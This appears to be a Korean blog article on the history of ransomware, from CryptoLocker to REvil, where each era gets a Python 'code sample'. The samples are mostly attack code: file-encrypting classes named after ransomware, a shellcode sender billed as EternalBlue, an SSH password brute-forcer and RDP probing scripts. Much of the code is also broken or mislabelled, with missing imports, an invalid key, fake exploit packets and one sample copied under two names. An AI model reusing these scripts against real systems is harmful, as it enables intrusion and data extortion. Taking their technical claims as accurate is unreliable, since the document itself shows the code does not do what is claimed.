랜섬웨어 코드의 인상적인 진화

May 10 2023
랜섬웨어의 역사를 따라가는 것은 악당이 점점 더 똑똑해지고 교묘해지는 공포 영화를 보는 것과 같습니다. 랜섬웨어의 진화에는 매혹적이면서도 벅찬 무언가가 있습니다.

랜섬웨어의 역사를 따라가는 것은 악당이 점점 더 똑똑해지고 교묘해지는 공포 영화를 보는 것과 같습니다. 랜섬웨어의 진화에는 매혹적이면서도 벅찬 무언가가 있습니다. 이 기사에서는 역사적인 타임라인에 대해 자세히 살펴보고 이러한 악성 프로그램을 중지하기 어렵게 만드는 이유를 보여줍니다.

컴퓨터 악당

AIDS Trojan으로 알려진 최초의 랜섬웨어는 1989년에 나타났습니다. 그 이후로 랜섬웨어는 크게 발전하여 가장 널리 퍼지고 파괴적인 맬웨어 유형 중 하나가 되었습니다. 이 기사에서는 CryptoLocker의 초기부터 악명 높은 WannaCry, 그리고 최근의 Maze 및 REvil 랜섬웨어 공격에 이르기까지 랜섬웨어의 진화를 따라가면서 각 유형의 랜섬웨어가 실제 코드 샘플과 어떻게 작동하는지 설명합니다.

2013: 크립토락커

CryptoLocker는 공개 키 암호화를 사용하여 파일을 암호화한 최초의 랜섬웨어입니다. 이메일 첨부 파일을 통해 배포되었으며 Java 및 Adobe Reader의 취약점을 악용하여 시스템을 감염시켰습니다. 시스템을 감염시킨 후 시스템의 모든 파일을 암호화하고 암호 해독 키 제공을 위해 Bitcoin으로 지불을 요구했습니다.

코드 샘플:

import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')

decrypt_file메서드는 입력 파일 이름과 선택적 출력 파일 이름 및 청크 크기를 사용합니다. 입력된 파일을 읽어 원본 파일 크기와 IV를 추출하고 암호화된 데이터를 동일한 암호화 키와 IV를 사용하여 복호화합니다. 해독된 데이터를 출력 파일에 쓰고 원래 파일 크기로 자릅니다. 클래스의 사용 예는 코드 끝에 제공되며, 여기서 CryptoLocker비밀 키를 사용하여 개체가 생성되고 입력 파일이 암호화된 다음 암호가 해독됩니다.

2016: 로키

Locky는 이메일 캠페인을 통해 배포되었으며 RSA와 AES 암호화를 조합하여 파일을 암호화했습니다. 암호 해독 키를 제공하기 위해 Bitcoin으로 지불을 요구했습니다. 출시 후 처음 몇 주 동안 100,000개 이상의 시스템을 감염시킨 것으로 추정됩니다.

코드 샘플:

import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)

2017: 워너크라이

2017년 WannaCry 랜섬웨어는 전 세계적으로 빠르게 확산되어 150개 이상의 국가에서 수십만 대의 컴퓨터를 감염시켰습니다. WannaCry는 NSA에서 개발한 것으로 알려진 EternalBlue라는 Windows 운영 체제의 취약점을 악용했습니다.

공격의 광범위한 특성과 영향을 받는 중요한 시스템은 조직이 사이버 보안을 우선시하고 이러한 공격을 방지하기 위해 최신 소프트웨어 및 보안 프로토콜을 유지해야 할 필요성을 강조했습니다.

코드 샘플:

import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()

이 문서의 다른 샘플과 마찬가지로 이 코드는 순전히 교육용이며 악의적인 활동에 사용되어서는 안 된다는 점을 기억하는 것이 중요합니다.

2018: 삼삼

SamSam은 2018년에 처음 발견된 랜섬웨어였습니다. 피싱 이메일을 사용하여 피해자의 시스템에 액세스하는 다른 많은 랜섬웨어 공격과 달리 SamSam은 패치되지 않은 서버에 대한 액세스 권한을 얻기 위해 무차별 공격을 사용했습니다. 내부로 들어간 랜섬웨어는 파일을 암호화하고 비트코인으로 지불을 요구했습니다.

코드 샘플:

import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)

2019: 류크

Ryuk은 북한에서 시작된 것으로 추정되며 병원 및 정부 기관과 같은 고부가가치 표적을 표적으로 삼는 데 사용되었습니다. 이것은 거짓으로 판명되었으며 원래 수많은 다른 범죄 조직에서 사용되었습니다. Ryuk은 일반적으로 피싱 이메일을 통해 전달되거나 원격 데스크톱 프로토콜의 취약점을 악용하여 전달됩니다.

코드 샘플:

import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return
    
    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)
    
    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())
    
    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')

2019: 미로

Maze는 피해자의 파일을 암호화하고 암호 해독 키에 대한 대가로 지불을 요구합니다. 그러나 Maze 랜섬웨어는 피해자의 민감한 데이터를 훔치고 몸값을 지불하지 않으면 게시하겠다고 위협하는 일종의 " 이중 강탈 " 랜섬웨어로 유명합니다.

Maze 랜섬웨어는 RDP(원격 데스크톱 프로토콜)의 취약점을 악용하여 일반적인 피싱 이메일과 함께 시스템에 대한 액세스 권한을 얻는 것으로 알려져 있습니다.

코드 샘플:

import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()

2021: 레빌

최근 몇 년 동안 가장 주목할만한 랜섬웨어 공격 중 하나는 2021년 7월 REvil 랜섬웨어 공격이었습니다. 이 공격은 다른 회사에 원격 관리 소프트웨어를 제공하는 Kaseya라는 소프트웨어 공급자를 대상으로 했습니다. 공격자는 Kaseya의 소프트웨어에 액세스하고 수백 명의 클라이언트에 맬웨어를 배포하여 광범위한 랜섬웨어 공격을 수행할 수 있었습니다.

REvil은 강력한 암호화를 사용하여 피해자의 파일을 암호화하고 해독 키에 대한 대가로 몸값 지불을 요구합니다. 이 시대의 대부분의 랜섬웨어 그룹과 마찬가지로 비트코인이 지불 수단으로 사용됩니다.

코드 샘플:

import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')

사용 예에서는 키를 정의하고 Ransomware이 키를 사용하여 클래스의 인스턴스를 만듭니다. 이 encrypt_file메서드는 'important_file.docx'라는 파일에서 호출되며 'important_file.docx.enc'라는 암호화된 파일을 생성합니다. 마지막으로 이 decrypt_file메서드는 암호화된 파일에서 호출되어 다시 원래 형식으로 해독됩니다.

이 기사가 랜섬웨어가 어떻게 진화했는지, 배포가 쉽고 불법 활동의 즉각적인 수익 창출로 인해 랜섬웨어가 우리의 가장 큰 위협이 되는 방식에 대해 절실히 필요한 관점을 제공하기를 바랍니다 . 그러나 이러한 문제에 대해 일반 대중을 폭로하고 교육하기 위한 최근 몇 년간의 진전을 기억해야 합니다.